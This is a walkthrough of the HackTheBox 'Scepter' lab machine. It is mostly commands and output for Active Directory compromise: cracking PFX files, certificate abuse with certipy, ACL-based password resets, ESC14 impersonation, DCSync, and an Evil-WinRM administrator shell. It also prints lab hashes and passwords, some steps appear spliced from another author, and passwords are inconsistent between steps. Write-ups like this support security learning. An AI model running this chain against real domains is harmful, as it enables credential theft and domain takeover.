htb-scepter
Nmap Scan
I started by running an initial Nmap scan:
nmap -sV -sC -oN scepter.nmap 10.10.11.65
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-08 15:00 CEST
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 73.33% done; ETC: 15:01 (0:00:04 remaining)
Nmap scan report for 10.10.11.65
Host is up (0.012s latency).
Not shown: 985 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-08 21:01:00Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-08T21:01:51+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-05-08T21:01:50+00:00; +7h59m59s from scanner time.
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-05-08T21:01:51+00:00; +8h00m00s from scanner time.
3269/tcp open ssl/ldap
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-05-08T21:01:50+00:00; +7h59m59s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after: 2025-11-01T00:41:41
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2025-05-08T21:01:50+00:00; +7h59m59s from scanner time.
|_http-title: Not Found
| tls-alpn:
|_ http/1.1
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-08T21:01:45
|_ start_date: N/A
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m58s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.79 seconds
The server appears to be a Windows Domain Controller based on services and naming.
Enum4linux
Next, I used enum4linux-ng to enumerate more information:
enum4linux-ng -A 10.10.11.65
Key Findings:
- LDAP and SMB are accessible.
- SMB dialect supports SMB 2.0+ (SMB1 is disabled).
- Null sessions are allowed over SMB.
- Domain Name: SCEPTER
- Domain SID: S-1-5-21-74879546-916818434-740295365
- OS Version detected: Windows 10 / Server 2016/2019 (Build 17763)
Unfortunately, most user and group enumeration attempts returned STATUS_ACCESS_DENIED.
NFS Enumeration
Port 2049/tcp (NFS) caught my attention. I checked the available mounts:
showmount -e 10.10.11.65
Results:
Export list for 10.10.11.65:
/helpdesk (everyone)
There’s a publicly accessible /helpdesk share exposed via NFS.
This looks like a potential foothold!
NFS Mount & File Discovery
We identified an NFS share /helpdesk earlier. Let’s mount it on our Kali machine:
mkdir /tmp/helpdesk-nfs
sudo mount -t nfs 10.10.11.65:/helpdesk /tmp/helpdesk-nfs
sudo ls -la /tmp/helpdesk-nfs
Contents of the mounted share:
total 33
drwx------ 2 nobody nogroup 64 Nov 1 22:02 .
drwxrwxrwt 20 root root 12288 Apr 21 06:51 ..
-rwx------ 1 nobody nogroup 2484 Nov 1 22:01 baker.crt
-rwx------ 1 nobody nogroup 2029 Nov 1 22:01 baker.key
-rwx------ 1 nobody nogroup 3315 Nov 1 22:01 clark.pfx
-rwx------ 1 nobody nogroup 3315 Nov 1 22:01 lewis.pfx
-rwx------ 1 nobody nogroup 3315 Nov 1 22:02 scott.pfx
We found several .pfx and certificate/key files — time to crack them.
Cracking PFX Files
We attempt to crack the lewis.pfx file using pfx2john and john:
pfx2john lewis.pfx | tee -a lewis-hash
john --wordlist=/usr/share/wordlists/rockyou.txt lewis-hash
newpassword (lewis.pfx)
However, when attempting to authenticate using Lewis’s credentials, we encountered a locked account error:
[*] Using principal: e.lewis@scepter.htb
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED
Crafting a New PFX for Baker
Given that Baker’s .crt and .key were available, I manually created a new .pfx file:
openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt -passout pass:newpassword
Enter pass phrase for baker.key: newpassword
I then set wide-open permissions and used certipy to authenticate:
chmod 777 baker.pfx
certipy auth -pfx baker.pfx -dc-ip 10.10.11.65
[*] Using principal: d.baker@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
Success!
We obtained a TGT and NTLM hash for d.baker:
**Note: If you encounter a clock skew error, fix your system time with:
sudo ntpdate 10.10.11.65
BloodHound Enumeration
Using bloodhound-python, we dumped the domain information:
└─$ bloodhound-python -u 'd.baker' --hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' -d scepter.htb -ns 10.10.11.65 --auth-method ntlm -c All --zip --disable-autogc INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: scepter.htb INFO: Connecting to LDAP server: dc01.scepter.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc01.scepter.htb INFO: Found 11 users INFO: Found 57 groups INFO: Found 2 gpos INFO: Found 3 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc01.scepter.htb INFO: Done in 00M 03S INFO: Compressing output into 20250508232837_bloodhound.zip
BloodHound Community Edition (CE) Usage
Start BloodHound CE
sudo docker-compose -f /opt/bloodhoundce/docker-compose.yml up
Login with the Email Address: admin
http://localhost:8080/ui/login
We identified OutboundControl privileges on user a.carter.
Resetting A.Carter’s Password
We leveraged changepasswd.py to reset Carter’s password: or use powerview or BloodyAD
Powerview
┌──(puck㉿kali)-[~/htb/scepter] └─$ powerview scepter.htb/d.baker@DC01.scepter.htb -H :18b5fb0d99e7a475316213c15b6f22ce --dc-ip 10.10.11.65 --use-ldap -d /home/puck/.local/share/pipx/venvs/powerview/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81. import pkg_resources Logging directory is set to /home/puck/.powerview/logs/scepter-d.baker-dc01.scepter.htb [2025-07-25 19:19:40] Proxy-compatible mode: Returning hostname 'DC01.scepter.htb' without resolution --snip-- [2025-07-25 19:19:40] [Get-DomainObject] LDAP search filter: (&(objectClass=*)(|(samAccountName=d.baker)(name=d.baker)(displayname=d.baker)(objectSid=d.baker)(distinguishedName=d.baker)(dnshostname=d.baker))) [2025-07-25 19:19:40] [CustomStandardExtendedOperations] Returning cached results for query ╭─LDAP─[dc01.scepter.htb]─[SCEPTER\d.baker]-[NS:<auto>] ╰─PV ❯ Set-DomainUserPassword -Identity a.carter -AccountPassword Summer2025 [2025-07-25 19:19:56] [Get-DomainUser] Using search base: DC=scepter,DC=htb [2025-07-25 19:19:56] [Get-DomainUser] LDAP search filter: (&(objectCategory=person)(objectClass=user)(|(sAMAccountName=a.carter)(distinguishedName=a.carter))) [2025-07-25 19:19:56] [CustomStandardExtendedOperations] Returning cached results for query [2025-07-25 19:19:56] [Set-DomainUserPassword] Principal CN=a.carter,CN=Users,DC=scepter,DC=htb found in domain [2025-07-25 19:19:56] [Set-DomainUserPassword] Using SAMR to change a.carter password [2025-07-25 19:19:59] [Set-DomainUserPassword] Password has been successfully changed for user a.carter [2025-07-25 19:19:59] Password changed for a.carter ╭─LDAP─[dc01.scepter.htb]─[SCEPTER\d.baker]-[NS:<auto>] ╰─PV ❯
BloodyAD
$ bloodyAD --host dc01.scepter.htb \
-d "scepter.htb" \
-u d.baker \
-p ':18b5fb0d99e7a475316213c15b6f22ce' \
set password "a.carter" 'Helloworld123!'
[+] Password changed successfully!
changepasswd
─$ changepasswd.py 'scepter.htb'/'a.carter'@10.10.11.65 -reset -altuser 'd.baker' -althash :'18b5fb0d99e7a475316213c15b6f22ce' Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies New password: Retype new password: [*] Setting the password of scepter.htb\a.carter as scepter.htb\d.baker [*] Connecting to DCE/RPC as scepter.htb\d.baker [*] Password was changed successfully. [!] User no longer has valid AES keys for Kerberos, until they change their password again.
Verification using nxc:
nxc smb 10.10.11.65 -u 'a.carter' -p 'Summer2025'
BloodHound Again – As A.Carter
Now using the newly reset a.carter account:
bloodhound-python -c All -u a.carter -p 'Password' -d scepter.htb -ns 10.10.11.65 --zip
Exploiting GenericAll on OU
BloodHound showed Carter had GenericAll rights over the STAFF ACCESS CERTIFICATE OU.

Step 1: Confirm or set GenericAll: with bloodyAD or impacket-dacledit
└─$ bloodyAD -d scepter.htb -u a.carter -p 'Summer2025' --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter [+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB
┌──(puck㉿kali)-[~/htb/scepter] └─$ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'a.carter' -target-dn 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' 'scepter.htb'/'a.carter':'Welcome1' Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU [*] DACL backed up to dacledit-20250726-001054.bak [*] DACL modified successfully!
Step 2: Modify the d.baker‘s mail attribute to impersonate another user:
└─$ bloodyAD -d scepter.htb -u a.carter -p 'Summer2025' --host dc01.scepter.htb --dc-ip 10.10.11.65 set object d.baker mail -v h.brown@scepter.htb [+] d.baker's mail has been updated
Requesting Certificate as H.Brown
We requested a certificate now tied to h.brown:
└─$ certipy req -username "d.baker@scepter.htb" -hashes aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' Certipy v4.8.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 3 [*] Got certificate without identification [*] Certificate has no object SID [*] Saved certificate and private key to 'd.baker.pfx'
Authentication as h.brown:
└─$ certipy auth -pfx d.baker.pfx -domain scepter.htb -dc-ip 10.10.11.65 -username h.brown Certipy v4.8.2 - by Oliver Lyak (ly4k) [!] Could not find identification in the provided certificate [*] Using principal: h.brown@scepter.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'h.brown.ccache' [*] Trying to retrieve NT hash for 'h.brown' [*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
Got TGT and NTLM hash for h.brown:
aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c

.
Shell as p.adams
At first glance there are no outbound connections visible in BloodHound but the user h.brown is part of two new groups, CMS and HELPDESK ADMINS. In order to check if any of those groups appear in ACLs I upload PowerView, calculate the SID for each group and then enumerate all ACL. This uncovers write privileges to the Alt-Security-Identities attribute for user p.adams, one of the attack scenarios for ESC14.
┌──(puck㉿kali)-[~/htb/scepter]
└─$ KRB5CCNAME=h.brown.ccache evil-winrm -i dc01.scepter.htb -r scepter.htb
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\h.brown\Documents> cd c:\programdata
*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> $cms = ConvertTo-Sid "CMS"
*Evil-WinRM* PS C:\programdata> $helpdesk = ConvertTo-Sid "HELPDESK ADMINS"
*Evil-WinRM* PS C:\programdata> Get-DomainObjectACL -ResolveGUIDs -Identity * | ?{($_.SecurityIdentifier -eq $cms) -or ($_.SecurityIdentifier -eq $helpdesk)}
AceQualifier : AccessAllowed
ObjectDN : CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
ActiveDirectoryRights : WriteProperty
ObjectAceType : Alt-Security-Identities
ObjectSID : S-1-5-21-74879546-916818434-740295365-1109
InheritanceFlags : ContainerInherit
BinaryLength : 72
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent, InheritedObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-74879546-916818434-740295365-1601
AccessMask : 32
AuditFlags : None
IsInherited : True
AceFlags : ContainerInherit, Inherited
InheritedObjectAceType : User
OpaqueLength : 0
AceQualifier : AccessAllowed
ObjectDN : CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
ActiveDirectoryRights : ReadProperty
ObjectAceType : All
ObjectSID : S-1-5-21-74879546-916818434-740295365-1109
InheritanceFlags : ContainerInherit
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : InheritedObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-74879546-916818434-740295365-1601
AccessMask : 16
AuditFlags : None
IsInherited : True
AceFlags : ContainerInherit, Inherited
InheritedObjectAceType : User
OpaqueLength : 0
--snip--
This allows me to perform the same exploitation as before but this time with one extra step. I start by setting altSecurityIdentities for account p.adams to X509:<RFC822>p.adams@scepter.htb.
┌──(puck㉿kali)-[~/htb/scepter] └─$ export KRB5CCNAME=h.brown.ccache ; bloodyAD -d scepter.htb -k --host dc01.scepter.htb set object p.adams altSecurityIdentities -v 'X509:<RFC822>p.adams@scepter.htb' [+] p.adams's altSecurityIdentities has been updated
Then I replace the mail attribute for d.baker with p.adams@scepter.htb.
┌──(puck㉿kali)-[~/htb/scepter]
└─$ bloodyAD --host dc01.scepter.htb \
-d scepter.htb \
-u a.carter \
-p 'Summer2025' \
set object d.baker mail -v p.adams@scepter.htb
[+] d.baker's mail has been updated
And finally I request another certificate for d.baker and use it to authenticate as p.adams. Once again I get the TGT and NTLM hash for the impersonated account.
So
Certificate
I’ll use certipy (just like above without -vulnerable) to find all certificates and look at HelpDesk Enrollment Certificate:
Similar to the StaffAccessCertificate above, this one has interesting values for Certificate Name Flag, in this case SubjectAltRequireDns. Only Domain Admins, Enterprise Admins, and Domain Computers can enroll in this certificate.
ESC14 – Repeat
Strategy
I’ve identified p.adams as the target. If I can control a user who can modify the altSecurityIdentities attribute of p.admins, then I can do the same attack again.
On originally solving, I manually guessed to look more closely at who could write p.adams. But a nice technique to use here would be to run bloodAD to find what h.brown can write (as I learned doing Haze):
oxdf@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host dc01.scepter.htb -d scepter.htb -k get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=scepter,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
...[snip]...
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE
dsacls will also show the permissions for all users and groups over an object. There’s a ton of output, but I’ll snip to show the interesting parts:
*Evil-WinRM* PS C:\> dsacls "CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb"
Owner: SCEPTER\Domain Admins
Group: SCEPTER\Domain Admins
Access list:
Allow SCEPTER\Domain Admins FULL CONTROL
Allow BUILTIN\Account Operators FULL CONTROL
...[snip]...
Allow SCEPTER\CMS SPECIAL ACCESS <Inherited from parent>
READ PROPERTY
...[snip]...
Allow SCEPTER\CMS SPECIAL ACCESS for altSecurityIdentities <Inherited from parent>
WRITE PROPERTY
...[snip]...
The command completed successfully
The CMS group has “special access” over altSecurityIdentities. If I can add h.brown’s email as an an alternative identify to p.adams, then I can get a ticket that will work as p.adams.
Exploit
p.adams does not have an altSecurityIdentities set:
puck@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k get object p.adams --attr altSecurityIdentities
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
But h.brown can set one:
┌──(puck㉿kali)-[~/htb/scepter]
└─$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>p.adams@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated
.
puck@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k get object p.adams --attr altSecurityIdentities distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb altSecu
Above I set it to p.adams@scepter.htb, but it doesn’t even have to be a real email in the domain. I can also set it to 0xdf@scepter.htb:
puck@hacky$ KRB5CCNAME=h.brown.ccache bloodyAD --host DC01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>0xdf@scepter.htb' [+] p.adams's altSecurityIdentities has been updated
Now this is basically the same attack as before. d.baker can enroll in the StaffAccessCertificate. a.carter can modify d.baker. I’ll set d.baker’s email to match whatever I set as the altSecurityIdentities for p.adams (if the cleanup script has run, I’ll need to do the prior steps to give a.carter access):
puck@hacky$ bloodyAD --host dc01.scepter.htb -d scepter.htb -u a.carter -p Welcome1 set object d.baker mail -v 0xdf@scepter.htb [+] d.baker's mail has been updated
Now I can request a certificate as d.baker:
┌──(puck㉿kali)-[~/htb/scepter] └─$ certipy req -username d.baker@scepter.htb -hashes :18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.10.11.65 Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Requesting certificate via RPC [*] Request ID is 13 [*] Successfully requested certificate [*] Got certificate without identity [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'd.baker.pfx' File 'd.baker.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y [*] Wrote certificate and private key to 'd.baker.pfx'
That certificate can auth as p.adams:
┌──(puck㉿kali)-[~/htb/scepter]
└─$ certipy auth -pfx d.baker.pfx -dc-ip 10.10.11.65 -domain scepter.htb -username p.adams
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'p.adams@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'p.adams.ccache'
File 'p.adams.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0
Because the email on the certificate (0xdf@scepter.htb) matches the altSecurityIdentities attribute for p.adams, it works.
The hash and the TGT both work to auth as p.adams:
┌──(puck㉿kali)-[~/htb/scepter]
└─$ KRB5CCNAME=p.adams.ccache netexec smb DC01.scepter.htb --use-kcache
SMB DC01.scepter.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB DC01.scepter.htb 445 DC01 [+] SCEPTER.HTB\p.adams from ccache
└─$ netexec smb DC01.scepter.htb -u p.adams -H 1b925c524f447bb821a8789c4b118ce0
SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] scepter.htb\p.adams:1b925c524f447bb821a8789c4b118ce0
.
Shell as Administrator
Enumeration
I already noted above that p.adams can DCSync as a member of Replication Operators:
secretsdump dumps the hashes :
puck@hacky$ secretsdump.py scepter.htb/p.adams@DC01.scepter.htb -hashes :1b925c524f447bb821a8789c4b118ce0 -no-pass
Evil-WinRM
I’ll use the NTLM hash to get an Evil-WinRM session as administrator:
puck@hacky$ evil-winrm -i DC01.scepter.htb -u administrator -H a291ead3493f9773dc615e66c2ea21c4
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
And get root.txt:
Cleanup Script runs every 15 min. anoying, but understanding needing for a CTF
*Evil-WinRM* PS C:\windows\system32\tasks> dir
Directory: C:\windows\system32\tasks
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/15/2018 12:19 AM Microsoft
-a---- 4/16/2025 11:11 AM 3404 CleaningUp
-a---- 4/16/2025 11:10 AM 3656 CreateExplorerShellUnelevatedTask
*Evil-WinRM* PS C:\windows\system32\tasks> cat CleaningUp
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Author>SCEPTER\Administrator</Author>
<URI>\CleaningUp</URI>
</RegistrationInfo>
<Triggers>
<TimeTrigger>
<Repetition>
<Interval>PT15M</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2024-11-02T08:21:02Z</StartBoundary>
<Enabled>true</Enabled>
--snipp--
</Settings>
<Actions Context="Author">
<Exec>
<Command>powershell.exe</Command>
<Arguments>-NoProfile -ExecutionPolicy Bypass -File C:\Users\Administrator\Links\cleaning_up.ps1</Arguments>
</Exec>
</Actions>
</Task>
*Evil-WinRM* PS C:\windows\system32\tasks> cat C:\Users\Administrator\Links\cleaning_up.ps1
# clear the altSecurityIdentities attribute for user p.adams && mail attribute of d.baker user :
Set-ADUser -Identity d.baker -Clear mail
Set-ADUser -Identity p.adams -Clear altSecurityIdentities
# reset password :
Set-ADAccountPassword -Identity "a.carter" -NewPassword (ConvertTo-SecureString "Car@3024!" -AsPlainText -Force) -Reset
Set-ADAccountPassword -Identity "d.baker" -NewPassword (ConvertTo-SecureString "bak@3025!" -AsPlainText -Force) -Reset
# Computers cleanup :
Get-ADComputer -Filter * -SearchBase "CN=Computers,DC=scepter,DC=htb" | ForEach-Object { Remove-ADComputer -Identity $_.DistinguishedName -Confirm:$false }
# Acls cleanup
dsacls.exe "OU=Staff Access Certificate,DC=scepter,DC=htb" /resetDefaultDACL
dsacls.exe "OU=Staff Access Certificate,DC=scepter,DC=htb" /G "SCEPTER\IT Support:GA"
*Evil-WinRM* PS C:\windows\system32\tasks>
.
┌──(puck㉿kali)-[~/htb/scepter]
└─$ xfreerdp3 /v:10.10.11.65 /u:puck /p:’Start123!’ /dynamic-resolution
.
References:
Evil-WinRM uses the Windows Management Instrumentation (WMI) to give you an interactive shell on the Windows host. Winrm Supports PKINIT, meaning if you have a computers PFX file, you can authenticate and get a shell. Note that the command requires a public and a private key in PEM format, that can be extracted by converting the PFX to PEM format. Take a look at the references for more info on that. Password protected PFX files can be cracked with JohnTheRipper.
Command Reference:
Target IP: 10.10.10.1
PFX File: cert.pfx
Domain: EVILCORP
Command:evil-winrm -i 10.10.10.1 -c pub.pem -k priv.pem -S -r EVILCORP
https://github.com/Hackplayers/evil-winrm
https://book.hacktricks.wiki/en/crypto-and-stego/certificates.html#converting-formats
